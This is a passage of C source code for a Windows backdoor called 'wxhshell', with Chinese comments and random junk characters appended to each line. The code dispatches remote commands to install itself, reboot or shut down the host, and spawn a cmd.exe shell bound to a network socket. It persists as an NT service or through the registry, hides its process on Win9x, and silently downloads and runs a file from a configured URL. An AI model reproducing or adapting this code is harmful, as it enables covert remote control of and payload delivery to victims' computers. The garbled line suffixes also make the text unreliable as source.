  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Wj;QO$C  
  } Cef:tdk7  
  else { s* j fMY  
>adV(V<  
    switch(cmd[0]) { Ov9 Q?8KzM  
  _ :^ 7a3I  
  // 帮助 w36(p{#vp  
  case '?': { w>~M}Ahj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8)0 L2KL'  
    break; EA{U!b]cU  
  } v+1i= s2$  
  // 安装 %3Bpn=k>  
  case 'i': { vi {uy  
    if(Install()) CV.+P-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _`a&9i &  
    else .gYt0raSY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '5H4z7)  
    break; K3p@$3hQ  
    } +3^NaY`Y  
  // 卸载 gX} g  
  case 'r': { 5^)_B;.f  
    if(Uninstall()) ^lO76Dz~a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d$;/T('  
    else fUcLfnr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .`C V^\  
    break; 8V5a%2eV  
    } ;6DnId2Zh  
  // 显示 wxhshell 所在路径 xX@FWAj  
  case 'p': { [>w%CY<Fd  
    char svExeFile[MAX_PATH]; 5 d ;|=K  
    strcpy(svExeFile,"\n\r"); r[HT9  
      strcat(svExeFile,ExeFile); w+f=RHX"{  
        send(wsh,svExeFile,strlen(svExeFile),0); O]nT>;PXX  
    break; RIhOR8 )  
    } Q;26V4  
  // 重启 E`@43Nz  
  case 'b': { V_a)jJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .RRlUWu  
    if(Boot(REBOOT)) [!?wyv3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3q &k  
    else { %<}=xJf>1  
    closesocket(wsh); m)f|:MM  
    ExitThread(0); ?y-s20Kd  
    } A 0#Y, 1  
    break; Jyu`-=It  
    } mtw9AoO  
  // 关机 g"y?nF.&F  
  case 'd': { BXTN>d27  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FDLd&4Ex  
    if(Boot(SHUTDOWN)) V-vlTgemwc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <TjBd1  
    else { zk>h u<_  
    closesocket(wsh); |< N frz  
    ExitThread(0); NfF~dK|  
    } koH4~m{  
    break; %D^bah f  
    } &`@M8-m#F  
  // 获取shell /4C`k=>  
  case 's': { eF1.VLI  
    CmdShell(wsh); yDtOpM8<{  
    closesocket(wsh); $pFk"]=  
    ExitThread(0); f9'] jJ+  
    break; 6q%ed UED  
  } }aZr ou3E  
  // 退出 sb'p-Mj  
  case 'x': { _pSIJ3O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FDq{M?6i  
    CloseIt(wsh); (2%>jg0M  
    break; 5\G)Q<A]*L  
    } ]_2 yiKv&  
  // 离开 t:9 ZCu ay  
  case 'q': { },6*Y*?{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J~dTVBx  
    closesocket(wsh); o>!JrH  
    WSACleanup(); N5\{yV21",  
    exit(1); #Wx=v$"  
    break; OROqT~6G  
        } ylkqhs&  
  } d;g-3Pf  
  } &"AQ; %&N  
L<)Z>@fR  
  // 提示信息 0P9Wy!f7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "/y|VTV"  
} *8206[y  
  } KW>VOW<.  
"%kG RHq  
  return; c * 1S}us  
} R HXvee55  
Dqr9Vv  
// shell模块句柄 6UI>GQ  
int CmdShell(SOCKET sock) B"[{]GP BY  
{ bm6hZA|  
STARTUPINFO si; 1(pjVz&  
ZeroMemory(&si,sizeof(si)); irmwc'n]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cUC17z2D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O#PwRud$  
PROCESS_INFORMATION ProcessInfo; xPvRQ  
char cmdline[]="cmd"; x@ 6\Ob  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jy`G]]?  
  return 0; \-G5l+!  
} j]HE>  
uTw|Q{f  
// 自身启动模式 {jhcZ"#>\  
int StartFromService(void) &oc_ a1 R  
{ 5U;nhDmM  
typedef struct 5m 3'Gt4  
{ /Tcb\:`9  
  DWORD ExitStatus; ^yD"d =z  
  DWORD PebBaseAddress; k -]xSKG  
  DWORD AffinityMask; zf7rF}  
  DWORD BasePriority; [,nfAY  
  ULONG UniqueProcessId; um}N%5GAa  
  ULONG InheritedFromUniqueProcessId; .h!9wGi`  
}   PROCESS_BASIC_INFORMATION; r?afv.@L2  
^#7viZ*  
PROCNTQSIP NtQueryInformationProcess; fOJj(0=y  
x cnt?%%M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [>wzl"cHW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pzptr%{  
W60Q3  
  HANDLE             hProcess; x{2o[dK4}  
  PROCESS_BASIC_INFORMATION pbi; iBS0rT_  
1>yha j(K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); taixBNv  
  if(NULL == hInst ) return 0; Z]p8IH%~92  
2| $k`I,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y\@SC\jk|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); excrXx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :SQ LfOQ  
L-MiaKcL  
  if (!NtQueryInformationProcess) return 0; pr)K{~m]{<  
#a.\P.{L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kf&r21h  
  if(!hProcess) return 0; S8vx[<  
F[(6*/46x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BM.-X7)  
Q+HZ?V(  
  CloseHandle(hProcess); @F~0p5I  
pNBa.4z:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dJaEoF  
if(hProcess==NULL) return 0; =;g=GcVK  
L[1d&d!p  
HMODULE hMod; Xv8fPP(  
char procName[255]; oAC^4-Ld  
unsigned long cbNeeded; i@Vs4E[b  
$u&|[vcP0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |O%:P}6c  
O<bDU0s{M  
  CloseHandle(hProcess); z,M'Tr.1|  
n~9 i^  
if(strstr(procName,"services")) return 1; // 以服务启动 GPMrs)J*!  
tb:    
  return 0; // 注册表启动 \!m!ibr  
} ,v|CombIc.  
v)%[  
// 主模块 /5jKX 5r  
int StartWxhshell(LPSTR lpCmdLine) exsQmbj* %  
{ vs+ We*8H  
  SOCKET wsl; 8~}s 3j4  
BOOL val=TRUE; d RHlx QUn  
  int port=0; S\}?zlV  
  struct sockaddr_in door; 2(hvv-  
pEY>A_F  
  if(wscfg.ws_autoins) Install(); M9h<}mh\  
HUK" OH  
port=atoi(lpCmdLine); (K<Z=a  
Tln9q0"W  
if(port<=0) port=wscfg.ws_port; w< v1 N  
_F3KFQ4,S-  
  WSADATA data; `B:B7Cpvn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (/('nY  
2B5A!? ~>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jk%'mEGE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (21']x  
  door.sin_family = AF_INET; zUNH8=U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 10/x'#(  
  door.sin_port = htons(port); Q%+ }  
#aj|vox}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ii,~HH  
closesocket(wsl); ~:2&/MOP?  
return 1; C{DlcZ<  
} 9e0C3+)CY  
.@fK;/OuC  
  if(listen(wsl,2) == INVALID_SOCKET) { C{8i7D  
closesocket(wsl); kboizJp  
return 1; <>SR4  
} Zlr{L]c  
  Wxhshell(wsl); Sb'N];  
  WSACleanup(); ULV)0SB  
G`9cd\^  
return 0; \I'f3  
+SAk:3.#CV  
} "w(N62z/  
@gH(/pFX  
// 以NT服务方式启动 B>{|'z?%>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FLVbkW-G.  
{ PbbXi  
DWORD   status = 0; |= tJ|  
  DWORD   specificError = 0xfffffff; iTj"lA  
UY1JB^J$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YCirOge  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V h Z=,m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aJEbAs}  
  serviceStatus.dwWin32ExitCode     = 0; _)OA$  
  serviceStatus.dwServiceSpecificExitCode = 0;  )GB3=@  
  serviceStatus.dwCheckPoint       = 0; ){+.8KI  
  serviceStatus.dwWaitHint       = 0; zJz82jMm  
'bZMh9|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YgO aZqN  
  if (hServiceStatusHandle==0) return; aQ32p4C  
IOSuaLH^  
status = GetLastError(); ZM dM_i?  
  if (status!=NO_ERROR) aQl?d<|+lk  
{ MZ;"J82p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Wz[tYL*  
    serviceStatus.dwCheckPoint       = 0; 6U;Jg_zS  
    serviceStatus.dwWaitHint       = 0; 9@$tiDV  
    serviceStatus.dwWin32ExitCode     = status; #H'sZv  
    serviceStatus.dwServiceSpecificExitCode = specificError; -}=@ *See#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fR+Ov8PCq  
    return; )?!vJb"  
  } MV Hz$hyB  
l81&[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6(ka"Vu~  
  serviceStatus.dwCheckPoint       = 0; L@)b%Q@a  
  serviceStatus.dwWaitHint       = 0; E}xz7u   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3I'M6WA  
} l9M#]*{  
f28gE7Y\a  
// 处理NT服务事件,比如:启动、停止 f?/|;Zo4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [z W_%O kP  
{ n@G:e-m{A  
switch(fdwControl) \e`6=Q%  
{ FBR$,j;Y  
case SERVICE_CONTROL_STOP: tqff84  
  serviceStatus.dwWin32ExitCode = 0; w/lXZg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p_rN1W Dd'  
  serviceStatus.dwCheckPoint   = 0; UgF)J  
  serviceStatus.dwWaitHint     = 0; g i1}5DR  
  { o|rGy 5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O\|C,Ep m  
  } XV74F l  
  return; s[0prm5.  
case SERVICE_CONTROL_PAUSE: G;PbTsW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {{^Mr)]5K  
  break; ?F?\uC2)'  
case SERVICE_CONTROL_CONTINUE: j\XX:uU_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S(g<<Te  
  break; sh',"S#=@  
case SERVICE_CONTROL_INTERROGATE: L#t-KLJ  
  break; o{ ,ba~$.w  
}; ;']vY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .fio<mqi  
} n4ds;N3Hd  
X";QA":  
// 标准应用程序主函数 ^yn[QWFO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bqZ?uvc3  
{ O4 +SD  
yDCooX0  
// 获取操作系统版本 ROJ'-Vde9  
OsIsNt=GetOsVer(); y9V;IXhDc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "ay,Lr  
e.3sAUHZ-  
  // 从命令行安装 5~`|)~FA  
  if(strpbrk(lpCmdLine,"iI")) Install(); IQ(]66c ,  
(5f5P84x  
  // 下载执行文件 *@-q@5r}!  
if(wscfg.ws_downexe) { 9J-!o]f .b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NDs]}5#   
  WinExec(wscfg.ws_filenam,SW_HIDE); 9 NGeh*`  
} Z4wrXss~  
p%1xj2 ?nN  
if(!OsIsNt) { SX Hru Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 F8|5_214'  
HideProc(); 1+16i=BF)  
StartWxhshell(lpCmdLine); N=O+X~  
} [[*0MA2Y  
else buq *abON  
  if(StartFromService()) 4%',scn  
  // 以服务方式启动 Mm>zpB`qP  
  StartServiceCtrlDispatcher(DispatchTable); 3/A[LL|  
else 6k@%+<1  
  // 普通方式启动 T!=20!I  
  StartWxhshell(lpCmdLine); I:uQB!  
}\PE {  
return 0; 'gk81@|  
}
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只看该作者 1 发表于: 2006-10-10
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